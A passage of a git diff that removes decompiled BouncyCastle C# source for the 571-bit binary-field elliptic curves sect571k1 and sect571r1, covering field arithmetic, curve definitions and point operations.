^ 1; - for (int i = 1; i < 9; i++) - { - z[i] = x[i]; - } - } - - public static ulong[] FromBigInteger(BigInteger x) - { - ulong[] array = Nat576.FromBigInteger64(x); - Reduce5(array, 0); - return array; - } - - public static void Invert(ulong[] x, ulong[] z) - { - if (Nat576.IsZero64(x)) - { - throw new InvalidOperationException(); - } - ulong[] array = Nat576.Create64(); - ulong[] array2 = Nat576.Create64(); - ulong[] array3 = Nat576.Create64(); - Square(x, array3); - Square(array3, array); - Square(array, array2); - Multiply(array, array2, array); - SquareN(array, 2, array2); - Multiply(array, array2, array); - Multiply(array, array3, array); - SquareN(array, 5, array2); - Multiply(array, array2, array); - SquareN(array2, 5, array2); - Multiply(array, array2, array); - SquareN(array, 15, array2); - Multiply(array, array2, array3); - SquareN(array3, 30, array); - SquareN(array, 30, array2); - Multiply(array, array2, array); - SquareN(array, 60, array2); - Multiply(array, array2, array); - SquareN(array2, 60, array2); - Multiply(array, array2, array); - SquareN(array, 180, array2); - Multiply(array, array2, array); - SquareN(array2, 180, array2); - Multiply(array, array2, array); - Multiply(array, array3, z); - } - - public static void Multiply(ulong[] x, ulong[] y, ulong[] z) - { - ulong[] array = Nat576.CreateExt64(); - ImplMultiply(x, y, array); - Reduce(array, z); - } - - public static void MultiplyAddToExt(ulong[] x, ulong[] y, ulong[] zz) - { - ulong[] array = Nat576.CreateExt64(); - ImplMultiply(x, y, array); - AddExt(zz, array, zz); - } - - public static void Reduce(ulong[] xx, ulong[] z) - { - ulong num = xx[9]; - ulong num2 = xx[17]; - ulong num3 = num; - num = num3 ^ (num2 >> 59) ^ (num2 >> 57) ^ (num2 >> 54) ^ (num2 >> 49); - num3 = xx[8] ^ (num2 << 5) ^ (num2 << 7) ^ (num2 << 10) ^ (num2 << 15); - for (int num4 = 16; num4 >= 10; num4--) - { - num2 = xx[num4]; - z[num4 - 8] = num3 ^ (num2 >> 59) ^ (num2 >> 57) ^ (num2 >> 54) ^ (num2 >> 49); - num3 = xx[num4 - 9] ^ (num2 << 5) ^ (num2 << 7) ^ (num2 << 10) ^ (num2 << 15); - } - num2 = num; - z[1] = num3 ^ (num2 >> 59) ^ (num2 >> 57) ^ (num2 >> 54) ^ (num2 >> 49); - num3 = xx[0] ^ (num2 << 5) ^ (num2 << 7) ^ (num2 << 10) ^ (num2 << 15); - ulong num5 = z[8]; - ulong num6 = num5 >> 59; - z[0] = num3 ^ num6 ^ (num6 << 2) ^ (num6 << 5) ^ (num6 << 10); - z[8] = num5 & 0x7FFFFFFFFFFFFFFL; - } - - public static void Reduce5(ulong[] z, int zOff) - { - ulong num = z[zOff + 8]; - ulong num2 = num >> 59; - ulong[] array2; - ulong[] array = (array2 = z); - nint num3 = zOff; - array[zOff] = array2[num3] ^ (num2 ^ (num2 << 2) ^ (num2 << 5) ^ (num2 << 10)); - z[zOff + 8] = num & 0x7FFFFFFFFFFFFFFL; - } - - public static void Sqrt(ulong[] x, ulong[] z) - { - ulong[] array = Nat576.Create64(); - ulong[] array2 = Nat576.Create64(); - int num = 0; - for (int i = 0; i < 4; i++) - { - ulong num2 = Interleave.Unshuffle(x[num++]); - ulong num3 = Interleave.Unshuffle(x[num++]); - array[i] = (num2 & 0xFFFFFFFFu) | (num3 << 32); - array2[i] = (num2 >> 32) | (num3 & 0xFFFFFFFF00000000uL); - } - ulong num4 = Interleave.Unshuffle(x[num]); - array[4] = num4 & 0xFFFFFFFFu; - array2[4] = num4 >> 32; - Multiply(array2, ROOT_Z, z); - Add(z, array, z); - } - - public static void Square(ulong[] x, ulong[] z) - { - ulong[] array = Nat576.CreateExt64(); - ImplSquare(x, array); - Reduce(array, z); - } - - public static void SquareAddToExt(ulong[] x, ulong[] zz) - { - ulong[] array = Nat576.CreateExt64(); - ImplSquare(x, array); - AddExt(zz, array, zz); - } - - public static void SquareN(ulong[] x, int n, ulong[] z) - { - ulong[] array = Nat576.CreateExt64(); - ImplSquare(x, array); - Reduce(array, z); - while (--n > 0) - { - ImplSquare(z, array); - Reduce(array, z); - } - } - - public static uint Trace(ulong[] x) - { - return (uint)((int)(x[0] ^ (x[8] >> 49) ^ (x[8] >> 57)) & 1); - } - - protected static void ImplMultiply(ulong[] x, ulong[] y, ulong[] zz) - { - ulong[] array = new ulong[144]; - Array.Copy(y, 0, array, 9, 9); - int num = 0; - for (int num2 = 7; num2 > 0; num2--) - { - num += 18; - Nat.ShiftUpBit64(9, array, num >> 1, 0uL, array, num); - Reduce5(array, num); - Add(array, 9, array, num, array, num + 9); - } - ulong[] array2 = new ulong[array.Length]; - Nat.ShiftUpBits64(array.Length, array, 0, 4, 0uL, array2, 0); - uint num3 = 15u; - for (int num4 = 56; num4 >= 0; num4 -= 8) - { - for (int i = 1; i < 9; i += 2) - { - uint num5 = (uint)(x[i] >> num4); - uint num6 = num5 & num3; - uint num7 = (num5 >> 4) & num3; - AddBothTo(array, (int)(9 * num6), array2, (int)(9 * num7), zz, i - 1); - } - Nat.ShiftUpBits64(16, zz, 0, 8, 0uL); - } - for (int num8 = 56; num8 >= 0; num8 -= 8) - { - for (int j = 0; j < 9; j += 2) - { - uint num9 = (uint)(x[j] >> num8); - uint num10 = num9 & num3; - uint num11 = (num9 >> 4) & num3; - AddBothTo(array, (int)(9 * num10), array2, (int)(9 * num11), zz, j); - } - if (num8 > 0) - { - Nat.ShiftUpBits64(18, zz, 0, 8, 0uL); - } - } - } - - protected static void ImplMulwAcc(ulong[] xs, ulong y, ulong[] z, int zOff) - { - ulong[] array = new ulong[32]; - array[1] = y; - for (int i = 2; i < 32; i += 2) - { - array[i] = array[i >> 1] << 1; - array[i + 1] = array[i] ^ y; - } - ulong num = 0uL; - ulong[] array3; - nint num8; - for (int j = 0; j < 9; j++) - { - ulong num2 = xs[j]; - uint num3 = (uint)num2; - num ^= array[num3 & 0x1F]; - ulong num4 = 0uL; - int num5 = 60; - do - { - num3 = (uint)(num2 >> num5); - ulong num6 = array[num3 & 0x1F]; - num ^= num6 << num5; - num4 ^= num6 >> -num5; - } - while ((num5 -= 5) > 0); - for (int k = 0; k < 4; k++) - { - num2 = (num2 & 0xEF7BDEF7BDEF7BDEuL) >> 1; - num4 ^= num2 & (ulong)((long)(y << k) >> 63); - } - ulong[] array2 = (array3 = z); - int num7 = zOff + j; - num8 = num7; - array2[num7] = array3[num8] ^ num; - num = num4; - } - ulong[] array4 = (array3 = z); - int num9 = zOff + 9; - num8 = num9; - array4[num9] = array3[num8] ^ num; - } - - protected static void ImplSquare(ulong[] x, ulong[] zz) - { - for (int i = 0; i < 9; i++) - { - Interleave.Expand64To128(x[i], zz, i << 1); - } - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/Custom/Sec/SecT571FieldElement.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/Custom/Sec/SecT571FieldElement.cs deleted file mode 100644 index 40049f6..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/Custom/Sec/SecT571FieldElement.cs +++ /dev/null @@ -1,195 +0,0 @@ -using System; -using Org.BouncyCastle.Math.Raw; -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.Math.EC.Custom.Sec; - -internal class SecT571FieldElement : AbstractF2mFieldElement -{ - protected internal readonly ulong[] x; - - public override bool IsOne => Nat576.IsOne64(x); - - public override bool IsZero => Nat576.IsZero64(x); - - public override string FieldName => "SecT571Field"; - - public override int FieldSize => 571; - - public virtual int Representation => 3; - - public virtual int M => 571; - - public virtual int K1 => 2; - - public virtual int K2 => 5; - - public virtual int K3 => 10; - - public SecT571FieldElement(BigInteger x) - { - if (x == null || x.SignValue < 0 || x.BitLength > 571) - { - throw new ArgumentException("value invalid for SecT571FieldElement", "x"); - } - this.x = SecT571Field.FromBigInteger(x); - } - - public SecT571FieldElement() - { - x = Nat576.Create64(); - } - - protected internal SecT571FieldElement(ulong[] x) - { - this.x = x; - } - - public override bool TestBitZero() - { - return (x[0] & 1) != 0; - } - - public override BigInteger ToBigInteger() - { - return Nat576.ToBigInteger64(x); - } - - public override ECFieldElement Add(ECFieldElement b) - { - ulong[] z = Nat576.Create64(); - SecT571Field.Add(x, ((SecT571FieldElement)b).x, z); - return new SecT571FieldElement(z); - } - - public override ECFieldElement AddOne() - { - ulong[] z = Nat576.Create64(); - SecT571Field.AddOne(x, z); - return new SecT571FieldElement(z); - } - - public override ECFieldElement Subtract(ECFieldElement b) - { - return Add(b); - } - - public override ECFieldElement Multiply(ECFieldElement b) - { - ulong[] z = Nat576.Create64(); - SecT571Field.Multiply(x, ((SecT571FieldElement)b).x, z); - return new SecT571FieldElement(z); - } - - public override ECFieldElement MultiplyMinusProduct(ECFieldElement b, ECFieldElement x, ECFieldElement y) - { - return MultiplyPlusProduct(b, x, y); - } - - public override ECFieldElement MultiplyPlusProduct(ECFieldElement b, ECFieldElement x, ECFieldElement y) - { - ulong[] array = this.x; - ulong[] y2 = ((SecT571FieldElement)b).x; - ulong[] array2 = ((SecT571FieldElement)x).x; - ulong[] y3 = ((SecT571FieldElement)y).x; - ulong[] array3 = Nat576.CreateExt64(); - SecT571Field.MultiplyAddToExt(array, y2, array3); - SecT571Field.MultiplyAddToExt(array2, y3, array3); - ulong[] z = Nat576.Create64(); - SecT571Field.Reduce(array3, z); - return new SecT571FieldElement(z); - } - - public override ECFieldElement Divide(ECFieldElement b) - { - return Multiply(b.Invert()); - } - - public override ECFieldElement Negate() - { - return this; - } - - public override ECFieldElement Square() - { - ulong[] z = Nat576.Create64(); - SecT571Field.Square(x, z); - return new SecT571FieldElement(z); - } - - public override ECFieldElement SquareMinusProduct(ECFieldElement x, ECFieldElement y) - { - return SquarePlusProduct(x, y); - } - - public override ECFieldElement SquarePlusProduct(ECFieldElement x, ECFieldElement y) - { - ulong[] array = this.x; - ulong[] array2 = ((SecT571FieldElement)x).x; - ulong[] y2 = ((SecT571FieldElement)y).x; - ulong[] array3 = Nat576.CreateExt64(); - SecT571Field.SquareAddToExt(array, array3); - SecT571Field.MultiplyAddToExt(array2, y2, array3); - ulong[] z = Nat576.Create64(); - SecT571Field.Reduce(array3, z); - return new SecT571FieldElement(z); - } - - public override ECFieldElement SquarePow(int pow) - { - if (pow < 1) - { - return this; - } - ulong[] z = Nat576.Create64(); - SecT571Field.SquareN(x, pow, z); - return new SecT571FieldElement(z); - } - - public override int Trace() - { - return (int)SecT571Field.Trace(x); - } - - public override ECFieldElement Invert() - { - ulong[] z = Nat576.Create64(); - SecT571Field.Invert(x, z); - return new SecT571FieldElement(z); - } - - public override ECFieldElement Sqrt() - { - ulong[] z = Nat576.Create64(); - SecT571Field.Sqrt(x, z); - return new SecT571FieldElement(z); - } - - public override bool Equals(object obj) - { - return Equals(obj as SecT571FieldElement); - } - - public override bool Equals(ECFieldElement other) - { - return Equals(other as SecT571FieldElement); - } - - public virtual bool Equals(SecT571FieldElement other) - { - if (this == other) - { - return true; - } - if (other == null) - { - return false; - } - return Nat576.Eq64(x, other.x); - } - - public override int GetHashCode() - { - return 0x5724CC ^ Arrays.GetHashCode(x, 0, 9); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/Custom/Sec/SecT571K1Curve.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/Custom/Sec/SecT571K1Curve.cs deleted file mode 100644 index 3ee4b54..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/Custom/Sec/SecT571K1Curve.cs +++ /dev/null @@ -1,133 +0,0 @@ -using Org.BouncyCastle.Math.EC.Multiplier; -using Org.BouncyCastle.Math.Raw; -using Org.BouncyCastle.Utilities.Encoders; - -namespace Org.BouncyCastle.Math.EC.Custom.Sec; - -internal class SecT571K1Curve : AbstractF2mCurve -{ - private class SecT571K1LookupTable : ECLookupTable - { - private readonly SecT571K1Curve m_outer; - - private readonly ulong[] m_table; - - private readonly int m_size; - - public virtual int Size => m_size; - - internal SecT571K1LookupTable(SecT571K1Curve outer, ulong[] table, int size) - { - m_outer = outer; - m_table = table; - m_size = size; - } - - public virtual ECPoint Lookup(int index) - { - ulong[] array = Nat576.Create64(); - ulong[] array2 = Nat576.Create64(); - int num = 0; - for (int i = 0; i < m_size; i++) - { - ulong num2 = (ulong)((i ^ index) - 1 >> 31); - for (int j = 0; j < 9; j++) - { - ulong[] array4; - ulong[] array3 = (array4 = array); - int num3 = j; - nint num4 = num3; - array3[num3] = array4[num4] ^ (m_table[num + j] & num2); - ulong[] array5 = (array4 = array2); - int num5 = j; - num4 = num5; - array5[num5] = array4[num4] ^ (m_table[num + 9 + j] & num2); - } - num += 18; - } - return m_outer.CreateRawPoint(new SecT571FieldElement(array), new SecT571FieldElement(array2), withCompression: false); - } - } - - private const int SECT571K1_DEFAULT_COORDS = 6; - - private const int SECT571K1_FE_LONGS = 9; - - protected readonly SecT571K1Point m_infinity; - - public override ECPoint Infinity => m_infinity; - - public override int FieldSize => 571; - - public override bool IsKoblitz => true; - - public virtual int M => 571; - - public virtual bool IsTrinomial => false; - - public virtual int K1 => 2; - - public virtual int K2 => 5; - - public virtual int K3 => 10; - - public SecT571K1Curve() - : base(571, 2, 5, 10) - { - m_infinity = new SecT571K1Point(this, null, null); - m_a = FromBigInteger(BigInteger.Zero); - m_b = FromBigInteger(BigInteger.One); - m_order = new BigInteger(1, Hex.Decode("020000000000000000000000000000000000000000000000000000000000000000000000131850E1F19A63E4B391A8DB917F4138B630D84BE5D639381E91DEB45CFE778F637C1001")); - m_cofactor = BigInteger.ValueOf(4L); - m_coord = 6; - } - - protected override ECCurve CloneCurve() - { - return new SecT571K1Curve(); - } - - public override bool SupportsCoordinateSystem(int coord) - { - if (coord == 6) - { - return true; - } - return false; - } - - protected override ECMultiplier CreateDefaultMultiplier() - { - return new WTauNafMultiplier(); - } - - public override ECFieldElement FromBigInteger(BigInteger x) - { - return new SecT571FieldElement(x); - } - - protected internal override ECPoint CreateRawPoint(ECFieldElement x, ECFieldElement y, bool withCompression) - { - return new SecT571K1Point(this, x, y, withCompression); - } - - protected internal override ECPoint CreateRawPoint(ECFieldElement x, ECFieldElement y, ECFieldElement[] zs, bool withCompression) - { - return new SecT571K1Point(this, x, y, zs, withCompression); - } - - public override ECLookupTable CreateCacheSafeLookupTable(ECPoint[] points, int off, int len) - { - ulong[] array = new ulong[len * 9 * 2]; - int num = 0; - for (int i = 0; i < len; i++) - { - ECPoint eCPoint = points[off + i]; - Nat576.Copy64(((SecT571FieldElement)eCPoint.RawXCoord).x, 0, array, num); - num += 9; - Nat576.Copy64(((SecT571FieldElement)eCPoint.RawYCoord).x, 0, array, num); - num += 9; - } - return new SecT571K1LookupTable(this, array, len); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/Custom/Sec/SecT571K1Point.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/Custom/Sec/SecT571K1Point.cs deleted file mode 100644 index c1ef3b8..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/Custom/Sec/SecT571K1Point.cs +++ /dev/null @@ -1,259 +0,0 @@ -using System; - -namespace Org.BouncyCastle.Math.EC.Custom.Sec; - -internal class SecT571K1Point : AbstractF2mPoint -{ - public override ECFieldElement YCoord - { - get - { - ECFieldElement rawXCoord = base.RawXCoord; - ECFieldElement rawYCoord = base.RawYCoord; - if (base.IsInfinity || rawXCoord.IsZero) - { - return rawYCoord; - } - ECFieldElement eCFieldElement = rawYCoord.Add(rawXCoord).Multiply(rawXCoord); - ECFieldElement eCFieldElement2 = base.RawZCoords[0]; - if (!eCFieldElement2.IsOne) - { - eCFieldElement = eCFieldElement.Divide(eCFieldElement2); - } - return eCFieldElement; - } - } - - protected internal override bool CompressionYTilde - { - get - { - ECFieldElement rawXCoord = base.RawXCoord; - if (rawXCoord.IsZero) - { - return false; - } - ECFieldElement rawYCoord = base.RawYCoord; - return rawYCoord.TestBitZero() != rawXCoord.TestBitZero(); - } - } - - public SecT571K1Point(ECCurve curve, ECFieldElement x, ECFieldElement y) - : this(curve, x, y, withCompression: false) - { - } - - public SecT571K1Point(ECCurve curve, ECFieldElement x, ECFieldElement y, bool withCompression) - : base(curve, x, y, withCompression) - { - if (x == null != (y == null)) - { - throw new ArgumentException("Exactly one of the field elements is null"); - } - } - - internal SecT571K1Point(ECCurve curve, ECFieldElement x, ECFieldElement y, ECFieldElement[] zs, bool withCompression) - : base(curve, x, y, zs, withCompression) - { - } - - protected override ECPoint Detach() - { - return new SecT571K1Point(null, AffineXCoord, AffineYCoord); - } - - public override ECPoint Add(ECPoint b) - { - if (base.IsInfinity) - { - return b; - } - if (b.IsInfinity) - { - return this; - } - ECCurve curve = Curve; - ECFieldElement rawXCoord = base.RawXCoord; - ECFieldElement rawXCoord2 = b.RawXCoord; - if (rawXCoord.IsZero) - { - if (rawXCoord2.IsZero) - { - return curve.Infinity; - } - return b.Add(this); - } - ECFieldElement rawYCoord = base.RawYCoord; - ECFieldElement eCFieldElement = base.RawZCoords[0]; - ECFieldElement rawYCoord2 = b.RawYCoord; - ECFieldElement eCFieldElement2 = b.RawZCoords[0]; - bool isOne = eCFieldElement.IsOne; - ECFieldElement eCFieldElement3 = rawXCoord2; - ECFieldElement eCFieldElement4 = rawYCoord2; - if (!isOne) - { - eCFieldElement3 = eCFieldElement3.Multiply(eCFieldElement); - eCFieldElement4 = eCFieldElement4.Multiply(eCFieldElement); - } - bool isOne2 = eCFieldElement2.IsOne; - ECFieldElement eCFieldElement5 = rawXCoord; - ECFieldElement eCFieldElement6 = rawYCoord; - if (!isOne2) - { - eCFieldElement5 = eCFieldElement5.Multiply(eCFieldElement2); - eCFieldElement6 = eCFieldElement6.Multiply(eCFieldElement2); - } - ECFieldElement eCFieldElement7 = eCFieldElement6.Add(eCFieldElement4); - ECFieldElement eCFieldElement8 = eCFieldElement5.Add(eCFieldElement3); - if (eCFieldElement8.IsZero) - { - if (eCFieldElement7.IsZero) - { - return Twice(); - } - return curve.Infinity; - } - ECFieldElement eCFieldElement10; - ECFieldElement y; - ECFieldElement eCFieldElement12; - if (rawXCoord2.IsZero) - { - ECPoint eCPoint = Normalize(); - rawXCoord = eCPoint.XCoord; - ECFieldElement yCoord = eCPoint.YCoord; - ECFieldElement b2 = rawYCoord2; - ECFieldElement eCFieldElement9 = yCoord.Add(b2).Divide(rawXCoord); - eCFieldElement10 = eCFieldElement9.Square().Add(eCFieldElement9).Add(rawXCoord); - if (eCFieldElement10.IsZero) - { - return new SecT571K1Point(curve, eCFieldElement10, curve.B, base.IsCompressed); - } - ECFieldElement eCFieldElement11 = eCFieldElement9.Multiply(rawXCoord.Add(eCFieldElement10)).Add(eCFieldElement10).Add(yCoord); - y = eCFieldElement11.Divide(eCFieldElement10).Add(eCFieldElement10); - eCFieldElement12 = curve.FromBigInteger(BigInteger.One); - } - else - { - eCFieldElement8 = eCFieldElement8.Square(); - ECFieldElement eCFieldElement13 = eCFieldElement7.Multiply(eCFieldElement5); - ECFieldElement eCFieldElement14 = eCFieldElement7.Multiply(eCFieldElement3); - eCFieldElement10 = eCFieldElement13.Multiply(eCFieldElement14); - if (eCFieldElement10.IsZero) - { - return new SecT571K1Point(curve, eCFieldElement10, curve.B, base.IsCompressed); - } - ECFieldElement eCFieldElement15 = eCFieldElement7.Multiply(eCFieldElement8); - if (!isOne2) - { - eCFieldElement15 = eCFieldElement15.Multiply(eCFieldElement2); - } - y = eCFieldElement14.Add(eCFieldElement8).SquarePlusProduct(eCFieldElement15, rawYCoord.Add(eCFieldElement)); - eCFieldElement12 = eCFieldElement15; - if (!isOne) - { - eCFieldElement12 = eCFieldElement12.Multiply(eCFieldElement); - } - } - return new SecT571K1Point(curve, eCFieldElement10, y, new ECFieldElement[1] { eCFieldElement12 }, base.IsCompressed); - } - - public override ECPoint Twice() - { - if (base.IsInfinity) - { - return this; - } - ECCurve curve = Curve; - ECFieldElement rawXCoord = base.RawXCoord; - if (rawXCoord.IsZero) - { - return curve.Infinity; - } - ECFieldElement rawYCoord = base.RawYCoord; - ECFieldElement eCFieldElement = base.RawZCoords[0]; - bool isOne = eCFieldElement.IsOne; - ECFieldElement eCFieldElement2 = (isOne ? eCFieldElement : eCFieldElement.Square()); - ECFieldElement eCFieldElement3 = ((!isOne) ? rawYCoord.Add(eCFieldElement).Multiply(rawYCoord) : rawYCoord.Square().Add(rawYCoord)); - if (eCFieldElement3.IsZero) - { - return new SecT571K1Point(curve, eCFieldElement3, curve.B, base.IsCompressed); - } - ECFieldElement eCFieldElement4 = eCFieldElement3.Square(); - ECFieldElement eCFieldElement5 = (isOne ? eCFieldElement3 : eCFieldElement3.Multiply(eCFieldElement2)); - ECFieldElement eCFieldElement6 = rawYCoord.Add(rawXCoord).Square(); - ECFieldElement b = (isOne ? eCFieldElement : eCFieldElement2.Square()); - ECFieldElement y = eCFieldElement6.Add(eCFieldElement3).Add(eCFieldElement2).Multiply(eCFieldElement6) - .Add(b) - .Add(eCFieldElement4) - .Add(eCFieldElement5); - return new SecT571K1Point(curve, eCFieldElement4, y, new ECFieldElement[1] { eCFieldElement5 }, base.IsCompressed); - } - - public override ECPoint TwicePlus(ECPoint b) - { - if (base.IsInfinity) - { - return b; - } - if (b.IsInfinity) - { - return Twice(); - } - ECCurve curve = Curve; - ECFieldElement rawXCoord = base.RawXCoord; - if (rawXCoord.IsZero) - { - return b; - } - ECFieldElement rawXCoord2 = b.RawXCoord; - ECFieldElement eCFieldElement = b.RawZCoords[0]; - if (rawXCoord2.IsZero || !eCFieldElement.IsOne) - { - return Twice().Add(b); - } - ECFieldElement rawYCoord = base.RawYCoord; - ECFieldElement eCFieldElement2 = base.RawZCoords[0]; - ECFieldElement rawYCoord2 = b.RawYCoord; - ECFieldElement x = rawXCoord.Square(); - ECFieldElement eCFieldElement3 = rawYCoord.Square(); - ECFieldElement eCFieldElement4 = eCFieldElement2.Square(); - ECFieldElement b2 = rawYCoord.Multiply(eCFieldElement2); - ECFieldElement b3 = eCFieldElement3.Add(b2); - ECFieldElement eCFieldElement5 = rawYCoord2.AddOne(); - ECFieldElement eCFieldElement6 = eCFieldElement5.Multiply(eCFieldElement4).Add(eCFieldElement3).MultiplyPlusProduct(b3, x, eCFieldElement4); - ECFieldElement eCFieldElement7 = rawXCoord2.Multiply(eCFieldElement4); - ECFieldElement eCFieldElement8 = eCFieldElement7.Add(b3).Square(); - if (eCFieldElement8.IsZero) - { - if (eCFieldElement6.IsZero) - { - return b.Twice(); - } - return curve.Infinity; - } - if (eCFieldElement6.IsZero) - { - return new SecT571K1Point(curve, eCFieldElement6, curve.B, base.IsCompressed); - } - ECFieldElement x2 = eCFieldElement6.Square().Multiply(eCFieldElement7); - ECFieldElement eCFieldElement9 = eCFieldElement6.Multiply(eCFieldElement8).Multiply(eCFieldElement4); - ECFieldElement y = eCFieldElement6.Add(eCFieldElement8).Square().MultiplyPlusProduct(b3, eCFieldElement5, eCFieldElement9); - return new SecT571K1Point(curve, x2, y, new ECFieldElement[1] { eCFieldElement9 }, base.IsCompressed); - } - - public override ECPoint Negate() - { - if (base.IsInfinity) - { - return this; - } - ECFieldElement rawXCoord = base.RawXCoord; - if (rawXCoord.IsZero) - { - return this; - } - ECFieldElement rawYCoord = base.RawYCoord; - ECFieldElement eCFieldElement = base.RawZCoords[0]; - return new SecT571K1Point(Curve, rawXCoord, rawYCoord.Add(eCFieldElement), new ECFieldElement[1] { eCFieldElement }, base.IsCompressed); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/Custom/Sec/SecT571R1Curve.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/Custom/Sec/SecT571R1Curve.cs deleted file mode 100644 index 39ae414..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/Custom/Sec/SecT571R1Curve.cs +++ /dev/null @@ -1,131 +0,0 @@ -using Org.BouncyCastle.Math.Raw; -using Org.BouncyCastle.Utilities.Encoders; - -namespace Org.BouncyCastle.Math.EC.Custom.Sec; - -internal class SecT571R1Curve : AbstractF2mCurve -{ - private class SecT571R1LookupTable : ECLookupTable - { - private readonly SecT571R1Curve m_outer; - - private readonly ulong[] m_table; - - private readonly int m_size; - - public virtual int Size => m_size; - - internal SecT571R1LookupTable(SecT571R1Curve outer, ulong[] table, int size) - { - m_outer = outer; - m_table = table; - m_size = size; - } - - public virtual ECPoint Lookup(int index) - { - ulong[] array = Nat576.Create64(); - ulong[] array2 = Nat576.Create64(); - int num = 0; - for (int i = 0; i < m_size; i++) - { - ulong num2 = (ulong)((i ^ index) - 1 >> 31); - for (int j = 0; j < 9; j++) - { - ulong[] array4; - ulong[] array3 = (array4 = array); - int num3 = j; - nint num4 = num3; - array3[num3] = array4[num4] ^ (m_table[num + j] & num2); - ulong[] array5 = (array4 = array2); - int num5 = j; - num4 = num5; - array5[num5] = array4[num4] ^ (m_table[num + 9 + j] & num2); - } - num += 18; - } - return m_outer.CreateRawPoint(new SecT571FieldElement(array), new SecT571FieldElement(array2), withCompression: false); - } - } - - private const int SECT571R1_DEFAULT_COORDS = 6; - - private const int SECT571R1_FE_LONGS = 9; - - protected readonly SecT571R1Point m_infinity; - - internal static readonly SecT571FieldElement SecT571R1_B = new SecT571FieldElement(new BigInteger(1, Hex.Decode("02F40E7E2221F295DE297117B7F3D62F5C6A97FFCB8CEFF1CD6BA8CE4A9A18AD84FFABBD8EFA59332BE7AD6756A66E294AFD185A78FF12AA520E4DE739BACA0C7FFEFF7F2955727A"))); - - internal static readonly SecT571FieldElement SecT571R1_B_SQRT = (SecT571FieldElement)SecT571R1_B.Sqrt(); - - public override ECPoint Infinity => m_infinity; - - public override int FieldSize => 571; - - public override bool IsKoblitz => false; - - public virtual int M => 571; - - public virtual bool IsTrinomial => false; - - public virtual int K1 => 2; - - public virtual int K2 => 5; - - public virtual int K3 => 10; - - public SecT571R1Curve() - : base(571, 2, 5, 10) - { - m_infinity = new SecT571R1Point(this, null, null); - m_a = FromBigInteger(BigInteger.One); - m_b = SecT571R1_B; - m_order = new BigInteger(1, Hex.Decode("03FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFE661CE18FF55987308059B186823851EC7DD9CA1161DE93D5174D66E8382E9BB2FE84E47")); - m_cofactor = BigInteger.Two; - m_coord = 6; - } - - protected override ECCurve CloneCurve() - { - return new SecT571R1Curve(); - } - - public override bool SupportsCoordinateSystem(int coord) - { - if (coord == 6) - { - return true; - } - return false; - } - - public override ECFieldElement FromBigInteger(BigInteger x) - { - return new SecT571FieldElement(x); - } - - protected internal override ECPoint CreateRawPoint(ECFieldElement x, ECFieldElement y, bool withCompression) - { - return new SecT571R1Point(this, x, y, withCompression); - } - - protected internal override ECPoint CreateRawPoint(ECFieldElement x, ECFieldElement y, ECFieldElement[] zs, bool withCompression) - { - return new SecT571R1Point(this, x, y, zs, withCompression); - } - - public override ECLookupTable CreateCacheSafeLookupTable(ECPoint[] points, int off, int len) - { - ulong[] array = new ulong[len * 9 * 2]; - int num = 0; - for (int i = 0; i < len; i++) - { - ECPoint eCPoint = points[off + i]; - Nat576.Copy64(((SecT571FieldElement)eCPoint.RawXCoord).x, 0, array, num); - num += 9; - Nat576.Copy64(((SecT571FieldElement)eCPoint.RawYCoord).x, 0, array, num); - num += 9; - } - return new SecT571R1LookupTable(this, array, len); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/Custom/Sec/SecT571R1Point.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/Custom/Sec/SecT571R1Point.cs deleted file mode 100644 index 6d06328..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/Custom/Sec/SecT571R1Point.cs +++ /dev/null @@ -1,256 +0,0 @@ -using System; - -namespace Org.BouncyCastle.Math.EC.Custom.Sec; - -internal class SecT571R1Point : AbstractF2mPoint -{ - public override ECFieldElement YCoord - { - get - { - ECFieldElement rawXCoord = base.RawXCoord; - ECFieldElement rawYCoord = base.RawYCoord; - if (base.IsInfinity || rawXCoord.IsZero) - { - return rawYCoord; - } - ECFieldElement eCFieldElement = rawYCoord.Add(rawXCoord).Multiply(rawXCoord); - ECFieldElement eCFieldElement2 = base.RawZCoords[0]; - if (!eCFieldElement2.IsOne) - { - eCFieldElement = eCFieldElement.Divide(eCFieldElement2); - } - return eCFieldElement; - } - } - - protected internal override bool CompressionYTilde - { - get - { - ECFieldElement rawXCoord = base.RawXCoord; - if (rawXCoord.IsZero) - { - return false; - } - ECFieldElement rawYCoord = base.RawYCoord; - return rawYCoord.TestBitZero() != rawXCoord.TestBitZero(); - } - } - - public SecT571R1Point(ECCurve curve, ECFieldElement x, ECFieldElement y) - : this(curve, x, y, withCompression: false) - { - } - - public SecT571R1Point(ECCurve curve, ECFieldElement x, ECFieldElement y, bool withCompression) - : base(curve, x, y, withCompression) - { - if (x == null != (y == null)) - { - throw new ArgumentException("Exactly one of the field elements is null"); - } - } - - internal SecT571R1Point(ECCurve curve, ECFieldElement x, ECFieldElement y, ECFieldElement[] zs, bool withCompression) - : base(curve, x, y, zs, withCompression) - { - } - - protected override ECPoint Detach() - { - return new SecT571R1Point(null, AffineXCoord, AffineYCoord); - } - - public override ECPoint Add(ECPoint b) - { - if (base.IsInfinity) - { - return b; - } - if (b.IsInfinity) - { - return this; - } - ECCurve curve = Curve; - ECFieldElement rawXCoord = base.RawXCoord; - ECFieldElement rawXCoord2 = b.RawXCoord; - if 